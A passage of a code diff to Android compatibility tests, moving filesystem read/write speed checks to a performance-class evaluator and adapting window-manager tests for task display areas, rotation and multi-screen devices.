+import org.junit.rules.TestName;
import org.junit.runner.RunWith;
@RunWith(AndroidJUnit4.class)
@@ -37,19 +41,9 @@
private static final String DIR_RANDOM_WR = "RANDOM_WR";
private static final String DIR_RANDOM_RD = "RANDOM_RD";
private static final String REPORT_LOG_NAME = "CtsFileSystemTestCases";
- private static final double MIN_READ_MBPS;
- private static final double MIN_WRITE_MBPS;
- static {
- if (MediaPerformanceClassUtils.isRPerfClass()) {
- MIN_READ_MBPS = 25;
- MIN_WRITE_MBPS = 10;
- } else {
- // Performance class Build.VERSION_CODES.S and beyond
- MIN_READ_MBPS = 40;
- MIN_WRITE_MBPS = 10;
- }
- }
+ @Rule
+ public final TestName mTestName = new TestName();
@After
public void tearDown() throws Exception {
@@ -57,7 +51,7 @@
FileUtil.removeFileOrDir(getContext(), DIR_RANDOM_RD);
}
- @CddTest(requirement="8.2")
+ @CddTest(requirements = {"8.2/H-1-4"})
@Test
public void testRandomRead() throws Exception {
final int READ_BUFFER_SIZE = 4 * 1024;
@@ -71,14 +65,18 @@
double mbps = FileUtil.doRandomReadTest(getContext(), DIR_RANDOM_RD, report, fileSize,
READ_BUFFER_SIZE);
report.submit(getInstrumentation());
- if (MediaPerformanceClassUtils.isPerfClass()) {
- assertTrue("measured " + mbps + " is less than target (" + MIN_READ_MBPS + " MBPS)",
- mbps >= MIN_READ_MBPS);
- }
+
+ PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+ PerformanceClassEvaluator.FileSystemRequirement r8_2__H_1_4 = pce.addR8_2__H_1_4();
+ PerformanceClassEvaluator.FileSystemRequirement r8_2__H_2_4 = pce.addR8_2__H_2_4();
+ r8_2__H_1_4.setFilesystemIoRate(mbps);
+ r8_2__H_2_4.setFilesystemIoRate(mbps);
+
+ pce.submitAndCheck();
}
// It is taking too long in some device, and thus cannot run multiple times
- @CddTest(requirement="8.2")
+ @CddTest(requirements = {"8.2/H-1-2"})
@Test
public void testRandomUpdate() throws Exception {
final int WRITE_BUFFER_SIZE = 4 * 1024;
@@ -97,10 +95,13 @@
WRITE_BUFFER_SIZE);
}
report.submit(getInstrumentation());
- if (MediaPerformanceClassUtils.isPerfClass()) {
- // for performance class devices we must be able to write 256MB
- assertTrue("measured " + mbps + " is less than target (" + MIN_WRITE_MBPS + " MBPS)",
- mbps >= MIN_WRITE_MBPS);
- }
+
+ PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+ PerformanceClassEvaluator.FileSystemRequirement r8_2__H_1_2 = pce.addR8_2__H_1_2();
+ PerformanceClassEvaluator.FileSystemRequirement r8_2__H_2_2 = pce.addR8_2__H_2_2();
+ r8_2__H_1_2.setFilesystemIoRate(mbps);
+ r8_2__H_2_2.setFilesystemIoRate(mbps);
+
+ pce.submitAndCheck();
}
}
diff --git a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
index a3e6f83..1beb91a 100644
--- a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
@@ -17,6 +17,8 @@
package android.filesystem.cts;
import android.util.Log;
+import android.mediapc.cts.common.Utils;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
import static androidx.test.InstrumentationRegistry.getContext;
import static androidx.test.InstrumentationRegistry.getInstrumentation;
@@ -34,7 +36,9 @@
import static org.junit.Assert.assertTrue;
import org.junit.After;
+import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.TestName;
import org.junit.runner.RunWith;
import java.io.File;
@@ -50,19 +54,9 @@
private static final String DIR_SEQ_RD = "SEQ_RD";
private static final String REPORT_LOG_NAME = "CtsFileSystemTestCases";
private static final int BUFFER_SIZE = 10 * 1024 * 1024;
- private static final double MIN_READ_MBPS;
- private static final double MIN_WRITE_MBPS;
- static {
- if (MediaPerformanceClassUtils.isRPerfClass()) {
- MIN_READ_MBPS = 200;
- MIN_WRITE_MBPS = 100;
- } else {
- // Performance class Build.VERSION_CODES.S and beyond
- MIN_READ_MBPS = 250;
- MIN_WRITE_MBPS = 125;
- }
- }
+ @Rule
+ public final TestName mTestName = new TestName();
@After
public void tearDown() throws Exception {
@@ -71,7 +65,7 @@
FileUtil.removeFileOrDir(getContext(), DIR_SEQ_RD);
}
- @CddTest(requirement="8.2")
+ @CddTest(requirements = {"8.2/H-1-1"})
@Test
public void testSingleSequentialWrite() throws Exception {
final long fileSize = FileUtil.getFileSizeExceedingMemory(getContext(), BUFFER_SIZE);
@@ -104,10 +98,13 @@
Log.v(TAG, "sequential write " + stat.mAverage + " MBPS");
report.submit(getInstrumentation());
- if (MediaPerformanceClassUtils.isPerfClass()) {
- assertTrue("measured " + stat.mAverage + " is less than target (" + MIN_WRITE_MBPS +
- " MBPS)", stat.mAverage >= MIN_WRITE_MBPS);
- }
+ PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+ PerformanceClassEvaluator.FileSystemRequirement r8_2__H_1_1 = pce.addR8_2__H_1_1();
+ PerformanceClassEvaluator.FileSystemRequirement r8_2__H_2_1 = pce.addR8_2__H_2_1();
+ r8_2__H_1_1.setFilesystemIoRate(stat.mAverage);
+ r8_2__H_2_1.setFilesystemIoRate(stat.mAverage);
+
+ pce.submitAndCheck();
}
@Test
@@ -123,7 +120,7 @@
NUMBER_REPETITION, REPORT_LOG_NAME, streamName);
}
- @CddTest(requirement="8.2")
+ @CddTest(requirements = {"8.2/H-1-3"})
@Test
public void testSingleSequentialRead() throws Exception {
final long fileSize = FileUtil.getFileSizeExceedingMemory(getContext(), BUFFER_SIZE);
@@ -166,9 +163,12 @@
Log.v(TAG, "sequential read " + stat.mAverage + " MBPS");
report.submit(getInstrumentation());
- if (MediaPerformanceClassUtils.isPerfClass()) {
- assertTrue("measured " + stat.mAverage + " is less than target (" + MIN_READ_MBPS +
- " MBPS)", stat.mAverage >= MIN_READ_MBPS);
- }
+ PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+ PerformanceClassEvaluator.FileSystemRequirement r8_2__H_1_3 = pce.addR8_2__H_1_3();
+ PerformanceClassEvaluator.FileSystemRequirement r8_2__H_2_3 = pce.addR8_2__H_2_3();
+ r8_2__H_1_3.setFilesystemIoRate(stat.mAverage);
+ r8_2__H_2_3.setFilesystemIoRate(stat.mAverage);
+
+ pce.submitAndCheck();
}
}
diff --git a/tests/framework/base/windowmanager/Android.bp b/tests/framework/base/windowmanager/Android.bp
index 4d00ee2..a14a7e8 100644
--- a/tests/framework/base/windowmanager/Android.bp
+++ b/tests/framework/base/windowmanager/Android.bp
@@ -76,4 +76,27 @@
],
sdk_version: "test_current",
+ data: [
+ ":CtsDragAndDropSourceApp",
+ ":CtsDragAndDropTargetApp",
+ ":CtsDeviceAlertWindowTestApp",
+ ":CtsAlertWindowService",
+ ":CtsDeviceServicesTestApp",
+ ":CtsDeviceServicesTestApp27",
+ ":CtsDeviceServicesTestApp30",
+ ":CtsDeviceServicesTestSecondApp",
+ ":CtsDeviceServicesTestThirdApp",
+ ":CtsDeviceDeprecatedSdkApp",
+ ":CtsDeviceDisplaySizeApp",
+ ":CtsDevicePrereleaseSdkApp",
+ ":CtsDeviceProfileableApp",
+ ":CtsDeviceTranslucentTestApp",
+ ":CtsDeviceTranslucentTestApp26",
+ ":CtsMockInputMethod",
+ ":CtsDeviceServicesTestShareUidAppA",
+ ":CtsDeviceServicesTestShareUidAppB",
+ ":CtsDragAndDropTargetAppSdk23",
+ ":CtsDeviceAlertWindowTestAppSdk25",
+ ],
+ per_testcase_directory: true,
}
diff --git a/tests/framework/base/windowmanager/OWNERS b/tests/framework/base/windowmanager/OWNERS
index 1f50516..5cee672 100644
--- a/tests/framework/base/windowmanager/OWNERS
+++ b/tests/framework/base/windowmanager/OWNERS
@@ -27,3 +27,8 @@
# others
# Bug template url: https://b.corp.google.com/issues/new?component=316125&template=1018199
include platform/frameworks/base:/services/core/java/com/android/server/wm/OWNERS
+
+brufino@google.com
+charlesccchen@google.com
+lumark@google.com
+lus@google.com
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/ResizeableActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/ResizeableActivity.java
index f03d677..e9c7bc9 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/ResizeableActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/ResizeableActivity.java
@@ -28,6 +28,12 @@
}
@Override
+ public void onMultiWindowModeChanged(boolean isInMultiWindowMode, Configuration newConfig) {
+ super.onMultiWindowModeChanged(isInMultiWindowMode, newConfig);
+ dumpConfiguration(newConfig);
+ }
+
+ @Override
public void onConfigurationChanged(Configuration newConfig) {
super.onConfigurationChanged(newConfig);
dumpConfigInfo();
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index e45e821..67c2587 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -137,8 +137,13 @@
// We do this before anything else, because having an active device owner can prevent us
// from being able to force stop apps. (b/142061276)
runWithShellPermissionIdentity(() -> {
- runShellCommand("dpm remove-active-admin --user current "
+ runShellCommand("dpm remove-active-admin --user 0 "
+ APP_A_SIMPLE_ADMIN_RECEIVER.flattenToString());
+ if (UserManager.isHeadlessSystemUserMode()) {
+ // Must also remove the PO from current user
+ runShellCommand("dpm remove-active-admin --user cur "
+ + APP_A_SIMPLE_ADMIN_RECEIVER.flattenToString());
+ }
});
stopTestPackage(TEST_PACKAGE_APP_A);
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLaunchTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLaunchTests.java
index 2614f3d..faec941 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLaunchTests.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLaunchTests.java
@@ -92,19 +92,16 @@
Integer.toString(activityLaunchIndex) /* secondActivityId */,
mSplitInfoConsumer);
- // Verify the split states match with the current and previous launches
+ // Verify that the secondary container has all the secondary activities
secondaryActivities.add(secondaryActivity);
final List<SplitInfo> lastReportedSplitInfoList =
mSplitInfoConsumer.getLastReportedValue();
splitInfosList.add(lastReportedSplitInfoList);
- assertEquals(secondaryActivities.size(), lastReportedSplitInfoList.size());
- for (int splitInfoIndex = 0; splitInfoIndex < lastReportedSplitInfoList.size();
- splitInfoIndex++) {
- final SplitInfo splitInfo = lastReportedSplitInfoList.get(splitInfoIndex);
- assertEquals(primaryActivity, getPrimaryStackTopActivity(splitInfo));
- assertEquals(secondaryActivities.get(splitInfoIndex),
- getSecondaryStackTopActivity(splitInfo));
- }
+ assertEquals(1, lastReportedSplitInfoList.size());
+ final SplitInfo splitInfo = lastReportedSplitInfoList.get(0);
+ assertEquals(primaryActivity, getPrimaryStackTopActivity(splitInfo));
+ assertEquals(secondaryActivities, splitInfo.getSecondaryActivityStack()
+ .getActivities());
}
// Iteratively finish each secondary activity and verify that the primary activity is split
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivity.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivity.java
index 76a78f8..948f6a4 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivity.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivity.java
@@ -19,6 +19,7 @@
import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getActivityBounds;
import android.app.Activity;
+import android.content.Context;
import android.content.res.Configuration;
import android.graphics.Rect;
import android.os.Bundle;
@@ -44,7 +45,7 @@
@Override
public void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
- final View contentView = new View(this);
+ final View contentView = new TestContentViewForConfigurationChange(this);
mRootViewId = View.generateViewId();
contentView.setId(mRootViewId);
setContentView(contentView);
@@ -74,17 +75,6 @@
sResumeLatch.countDown();
}
- @Override
- public void onConfigurationChanged(Configuration newConfig) {
- super.onConfigurationChanged(newConfig);
-
- final Rect newActivityBounds = getActivityBounds(this);
- if (!newActivityBounds.equals(mPreviousBounds)) {
- mPreviousBounds.set(newActivityBounds);
- mBoundsChangeLatch.countDown();
- }
- }
-
/**
* Resets layout counter when waiting for a layout to happen before calling
* {@link #waitForLayout()}.
@@ -151,4 +141,24 @@
return false;
}
}
+
+ /**
+ * Sometimes activity configuration change does not trigger when embedding status change, need
+ * to use View's instead.
+ */
+ class TestContentViewForConfigurationChange extends View {
+ public TestContentViewForConfigurationChange(Context context) {
+ super(context);
+ }
+
+ @Override
+ protected void onConfigurationChanged(Configuration newConfig) {
+ super.onConfigurationChanged(newConfig);
+ final Rect newActivityBounds = getActivityBounds(TestActivity.this);
+ if (!newActivityBounds.equals(mPreviousBounds)) {
+ mPreviousBounds.set(newActivityBounds);
+ mBoundsChangeLatch.countDown();
+ }
+ }
+ }
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index 74ef09e..8d73c17 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -52,6 +52,7 @@
import static android.server.wm.app.Components.TopActivity.ACTION_CONVERT_FROM_TRANSLUCENT;
import static android.server.wm.app.Components.TopActivity.ACTION_CONVERT_TO_TRANSLUCENT;
import static android.view.Display.DEFAULT_DISPLAY;
+import static android.window.DisplayAreaOrganizer.FEATURE_UNDEFINED;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
@@ -63,6 +64,7 @@
import android.server.wm.CommandSession.ActivitySessionClient;
import android.server.wm.app.Components;
+import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
@@ -348,9 +350,14 @@
if (!hasHomeScreen()) {
return;
}
+ mWmState.computeState();
+ final int homeTaskDisplayAreaFeatureId =
+ mWmState.getTaskDisplayAreaFeatureId(mWmState.getHomeActivityName());
+
// Start LaunchingActivity and BroadcastReceiverActivity in two separate tasks.
getLaunchActivityBuilder().setTargetActivity(BROADCAST_RECEIVER_ACTIVITY)
.setWindowingMode(WINDOWING_MODE_FULLSCREEN)
+ .setLaunchTaskDisplayAreaFeatureId(homeTaskDisplayAreaFeatureId)
.setIntentFlags(FLAG_ACTIVITY_NEW_TASK).execute();
waitAndAssertResumedActivity(BROADCAST_RECEIVER_ACTIVITY,"Activity must be resumed");
final int taskId = mWmState.getTaskByActivity(BROADCAST_RECEIVER_ACTIVITY).mTaskId;
@@ -361,6 +368,7 @@
.setUseInstrumentation()
.setTargetActivity(BROADCAST_RECEIVER_ACTIVITY)
.setWindowingMode(WINDOWING_MODE_FULLSCREEN)
+ .setLaunchTaskDisplayAreaFeatureId(homeTaskDisplayAreaFeatureId)
.setIntentFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_TASK_ON_HOME).execute();
mWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
} finally {
@@ -390,12 +398,24 @@
mWmState.assertHomeActivityVisible(true /* visible */);
}
+ // If home activity is present we will launch the activities into the same TDA as the home,
+ // otherwise we will launch the second activity into the same TDA as the first one.
+ int launchTaskDisplayAreaFeatureId = hasHomeScreen()
+ ? mWmState.getTaskDisplayAreaFeatureId(mWmState.getHomeActivityName())
+ : FEATURE_UNDEFINED;
+
// Launch an activity that calls "moveTaskToBack" to finish itself.
- launchActivity(MOVE_TASK_TO_BACK_ACTIVITY, extraString(EXTRA_FINISH_POINT, finishPoint));
+ launchActivityOnTaskDisplayArea(MOVE_TASK_TO_BACK_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
+ launchTaskDisplayAreaFeatureId, DEFAULT_DISPLAY,
+ extraString(EXTRA_FINISH_POINT, finishPoint));
+
mWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY, true);
- // Launch a different activity on top.
- launchActivity(BROADCAST_RECEIVER_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+ // Launch a different activity on top into the same TaskDisplayArea.
+ launchTaskDisplayAreaFeatureId =
+ mWmState.getTaskDisplayAreaFeatureId(MOVE_TASK_TO_BACK_ACTIVITY);
+ launchActivityOnTaskDisplayArea(BROADCAST_RECEIVER_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
+ launchTaskDisplayAreaFeatureId, DEFAULT_DISPLAY);
mWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
mWmState.waitForActivityState(MOVE_TASK_TO_BACK_ACTIVITY,STATE_STOPPED);
final boolean shouldBeVisible =
@@ -599,6 +619,7 @@
}
@Test
+ @Ignore("Unable to disable AOD for some devices")
public void testTurnScreenOnWithAttr_Freeform() {
assumeTrue(supportsLockScreen());
assumeTrue(supportsFreeform());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index 8360e97..1aa624a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -58,7 +58,6 @@
import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
-import android.content.res.Resources;
import android.graphics.Point;
import android.graphics.Rect;
import android.hardware.display.DisplayManager;
@@ -69,7 +68,6 @@
import android.server.wm.CommandSession.ConfigInfo;
import android.server.wm.CommandSession.SizeInfo;
import android.server.wm.TestJournalProvider.TestJournalContainer;
-import android.util.DisplayMetrics;
import android.view.Display;
import android.window.WindowContainerTransaction;
@@ -363,6 +361,9 @@
public void testTranslucentAppOrientationRequests() {
assumeTrue("Skipping test: no orientation request support", supportsOrientationRequest());
+ // Disable fixed to user rotation by creating a rotation session
+ createManagedRotationSession();
+
separateTestJournal();
launchActivity(PORTRAIT_ORIENTATION_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
final SizeInfo initialReportedSizes =
@@ -475,6 +476,7 @@
// Start a portrait activity first to ensure that the orientation will change.
launchActivity(PORTRAIT_ORIENTATION_ACTIVITY);
mWmState.waitForLastOrientation(SCREEN_ORIENTATION_PORTRAIT);
+ final int prevRotation = mWmState.getRotation();
getLaunchActivityBuilder()
.setUseInstrumentation()
@@ -499,34 +501,35 @@
assertEquals("The last reported size should be the same as the one from onCreate",
reportedSizes, onCreateConfigInfo.sizeInfo);
- final Display display = mDm.getDisplay(Display.DEFAULT_DISPLAY);
- final Point expectedRealDisplaySize = new Point();
- display.getRealSize(expectedRealDisplaySize);
+ final WindowManagerState.DisplayContent dc = mWmState.getDisplay(Display.DEFAULT_DISPLAY);
+ final Point realDisplaySize =
+ new Point(dc.getDisplayRect().width(), dc.getDisplayRect().height());
+ final int currentRotation = mWmState.getRotation();
+ // Some devices may launch the activity in a letterboxed area so the display won't rotate.
+ final boolean displayRotationChanged = prevRotation != currentRotation;
- final int expectedRotation = display.getRotation();
assertEquals("The activity should get the final display rotation in onCreate",
- expectedRotation, onCreateConfigInfo.rotation);
+ currentRotation, onCreateConfigInfo.rotation);
assertEquals("The application should get the final display rotation in onCreate",
- expectedRotation, appConfigInfo.rotation);
+ currentRotation, appConfigInfo.rotation);
assertEquals("The orientation of application must be landscape",
ORIENTATION_LANDSCAPE, appConfigInfo.sizeInfo.orientation);
assertEquals("The orientation of system resources must be landscape",
ORIENTATION_LANDSCAPE, globalSizeInfo.orientation);
- assertEquals("The activity should get the final display size in onCreate",
- expectedRealDisplaySize, onCreateRealDisplaySize);
- final boolean isLandscape = expectedRealDisplaySize.x > expectedRealDisplaySize.y;
- assertEquals("The app size of activity should have the same orientation", isLandscape,
- onCreateSize.displayWidth > onCreateSize.displayHeight);
+ final boolean isLandscape = onCreateSize.displayWidth > onCreateSize.displayHeight;
+ if (displayRotationChanged) {
+ assertEquals("The activity should get the final display size in onCreate",
+ realDisplaySize, onCreateRealDisplaySize);
+ assertEquals("The app size of activity should have the same orientation", isLandscape,
+ realDisplaySize.x > realDisplaySize.y);
+ assertEquals("The display metrics of system resources must be landscape", isLandscape,
+ globalSizeInfo.metricsWidth > globalSizeInfo.metricsHeight);
+ }
assertEquals("The application should get the same orientation", isLandscape,
appConfigInfo.sizeInfo.displayWidth > appConfigInfo.sizeInfo.displayHeight);
assertEquals("The app display metrics must be landscape", isLandscape,
appConfigInfo.sizeInfo.metricsWidth > appConfigInfo.sizeInfo.metricsHeight);
-
- final DisplayMetrics globalMetrics = Resources.getSystem().getDisplayMetrics();
- assertEquals("The display metrics of system resources must be landscape",
- new Point(globalMetrics.widthPixels, globalMetrics.heightPixels),
- new Point(globalSizeInfo.metricsWidth, globalSizeInfo.metricsHeight));
}
@Test
@@ -793,6 +796,9 @@
public void testTaskMoveToBackOrientation() {
assumeTrue("Skipping test: no orientation request support", supportsOrientationRequest());
+ // Disable fixed to user rotation by creating a rotation session
+ createManagedRotationSession();
+
// Start landscape activity.
launchActivity(LANDSCAPE_ORIENTATION_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
mWmState.assertVisibility(LANDSCAPE_ORIENTATION_ACTIVITY, true /* visible */);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AspectRatioTestsBase.java b/tests/framework/base/windowmanager/src/android/server/wm/AspectRatioTestsBase.java
index 96cf5c2..e032a10 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AspectRatioTestsBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AspectRatioTestsBase.java
@@ -25,6 +25,7 @@
import android.content.ComponentName;
import android.graphics.Point;
import android.graphics.Rect;
+import android.server.wm.WindowManagerState.DisplayArea;
import android.view.Display;
import android.view.WindowManager;
@@ -97,10 +98,8 @@
}
float getDisplayAspectRatio(ComponentName componentName) {
- final int displayId = mWmState.getDisplayByActivity(componentName);
- final WindowManagerState.DisplayContent display = mWmState.getDisplay(displayId);
-
- final Rect appRect = display.getAppRect();
+ final DisplayArea tda = mWmState.getTaskDisplayArea(componentName);
+ final Rect appRect = tda.getAppBounds();
final int shortSide = Math.min(appRect.width(), appRect.height());
final int longSide = Math.max(appRect.width(), appRect.height());
return (float) longSide / (float) shortSide;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
index e491926..759b4e1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
@@ -351,7 +351,14 @@
// Launch a new fullscreen activity
// Using Animation Test Activity because it is opaque on all devices.
- launchActivityOnDisplay(ANIMATION_TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN, mAssistantDisplayId);
+ int launchTDAId = mWmState.getTaskDisplayAreaFeatureId(ASSISTANT_ACTIVITY);
+ launchActivityOnTaskDisplayArea(ANIMATION_TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
+ launchTDAId, mAssistantDisplayId);
+ // If the activity is not launched in same TDA, ASSISTANT_ACTIVITY will be visible.
+ assumeTrue("Should launch in same TDA",
+ mWmState.getTaskDisplayArea(ASSISTANT_ACTIVITY)
+ == mWmState.getTaskDisplayArea(ANIMATION_TEST_ACTIVITY)
+ );
// Wait for animation finished.
mWmState.waitForActivityState(ANIMATION_TEST_ACTIVITY, STATE_RESUMED);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
index 23e47c2..42efd62 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
@@ -73,6 +73,7 @@
private static final int DISABLE_BLUR_BROADCAST_WAIT_TIME = 100;
private float mSavedAnimatorDurationScale;
private boolean mSavedWindowBlurDisabledSetting;
+ private Rect mSavedActivityBounds;
@Before
public void setUp() {
@@ -87,7 +88,13 @@
Settings.Global.getFloat(resolver, ANIMATOR_DURATION_SCALE, 1f);
Settings.Global.putFloat(resolver, ANIMATOR_DURATION_SCALE, 0);
});
- startTestActivity(BACKGROUND_IMAGE_ACTIVITY);
+
+ // Use the background activity's bounds when taking the device screenshot.
+ // This is needed for multi-screen devices (foldables) where
+ // the launched activity covers just one screen
+ WindowManagerState.Activity act = startAndReturnTestActivity(BACKGROUND_IMAGE_ACTIVITY);
+ mSavedActivityBounds = act.getBounds();
+
verifyOnlyBackgroundImageVisible();
assertTrue(mContext.getSystemService(WindowManager.class).isCrossWindowBlurEnabled());
}
@@ -109,7 +116,7 @@
extraInt(EXTRA_BACKGROUND_BLUR_RADIUS_PX, BACKGROUND_BLUR_PX));
final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
- assertBackgroundBlur(takeScreenshot(), windowFrame);
+ assertBackgroundBlur(takeScreenshotForBounds(mSavedActivityBounds), windowFrame);
}
@Test
@@ -118,7 +125,7 @@
extraInt(EXTRA_BLUR_BEHIND_RADIUS_PX, BLUR_BEHIND_PX),
extraInt(EXTRA_NO_BLUR_BACKGROUND_COLOR, NO_BLUR_BACKGROUND_COLOR));
- final Bitmap screenshot = takeScreenshot();
+ final Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
assertBlurBehind(screenshot, windowFrame);
assertNoBackgroundBlur(screenshot, windowFrame);
@@ -165,22 +172,22 @@
extraInt(EXTRA_NO_BLUR_BACKGROUND_COLOR, NO_BLUR_BACKGROUND_COLOR));
final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
- Bitmap screenshot = takeScreenshot();
- assertBackgroundBlur(takeScreenshot(), windowFrame);
+ Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
+ assertBackgroundBlur(takeScreenshotForBounds(mSavedActivityBounds), windowFrame);
assertNoBlurBehind(screenshot, windowFrame);
setForceBlurDisabled(true);
Thread.sleep(BACKGROUND_BLUR_DYNAMIC_UPDATE_WAIT_TIME);
- screenshot = takeScreenshot();
+ screenshot = takeScreenshotForBounds(mSavedActivityBounds);
assertNoBackgroundBlur(screenshot, windowFrame);
assertNoBlurBehind(screenshot, windowFrame);
setForceBlurDisabled(false);
Thread.sleep(BACKGROUND_BLUR_DYNAMIC_UPDATE_WAIT_TIME);
- screenshot = takeScreenshot();
- assertBackgroundBlur(takeScreenshot(), windowFrame);
+ screenshot = takeScreenshotForBounds(mSavedActivityBounds);
+ assertBackgroundBlur(takeScreenshotForBounds(mSavedActivityBounds), windowFrame);
assertNoBlurBehind(screenshot, windowFrame);
}
@@ -191,21 +198,21 @@
extraInt(EXTRA_NO_BLUR_BACKGROUND_COLOR, NO_BLUR_BACKGROUND_COLOR));
final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
- Bitmap screenshot = takeScreenshot();
+ Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
assertBlurBehind(screenshot, windowFrame);
assertNoBackgroundBlur(screenshot, windowFrame);
setForceBlurDisabled(true);
Thread.sleep(BLUR_BEHIND_DYNAMIC_UPDATE_WAIT_TIME);
- screenshot = takeScreenshot();
+ screenshot = takeScreenshotForBounds(mSavedActivityBounds);
assertNoBackgroundBlur(screenshot, windowFrame);
assertNoBlurBehind(screenshot, windowFrame);
setForceBlurDisabled(false);
Thread.sleep(BLUR_BEHIND_DYNAMIC_UPDATE_WAIT_TIME);
- screenshot = takeScreenshot();
+ screenshot = takeScreenshotForBounds(mSavedActivityBounds);
assertBlurBehind(screenshot, windowFrame);
assertNoBackgroundBlur(screenshot, windowFrame);
}
@@ -218,21 +225,21 @@
extraInt(EXTRA_BACKGROUND_BLUR_RADIUS_PX, BACKGROUND_BLUR_PX));
final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
- Bitmap screenshot = takeScreenshot();
+ Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
assertBlurBehind(screenshot, windowFrame);
assertBackgroundBlurOverBlurBehind(screenshot, windowFrame);
setForceBlurDisabled(true);
Thread.sleep(BLUR_BEHIND_DYNAMIC_UPDATE_WAIT_TIME);
- screenshot = takeScreenshot();
+ screenshot = takeScreenshotForBounds(mSavedActivityBounds);
assertNoBackgroundBlur(screenshot, windowFrame);
assertNoBlurBehind(screenshot, windowFrame);
setForceBlurDisabled(false);
Thread.sleep(BLUR_BEHIND_DYNAMIC_UPDATE_WAIT_TIME);
- screenshot = takeScreenshot();
+ screenshot = takeScreenshotForBounds(mSavedActivityBounds);
assertBlurBehind(screenshot, windowFrame);
assertBackgroundBlurOverBlurBehind(screenshot, windowFrame);
}
@@ -241,7 +248,7 @@
public void testBlurBehindAndBackgroundBlurSetWithAttributes() {
startTestActivity(BLUR_ATTRIBUTES_ACTIVITY);
final Rect windowFrame = getWindowFrame(BLUR_ATTRIBUTES_ACTIVITY);
- final Bitmap screenshot = takeScreenshot();
+ final Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
assertBlurBehind(screenshot, windowFrame);
assertBackgroundBlurOverBlurBehind(screenshot, windowFrame);
@@ -254,7 +261,7 @@
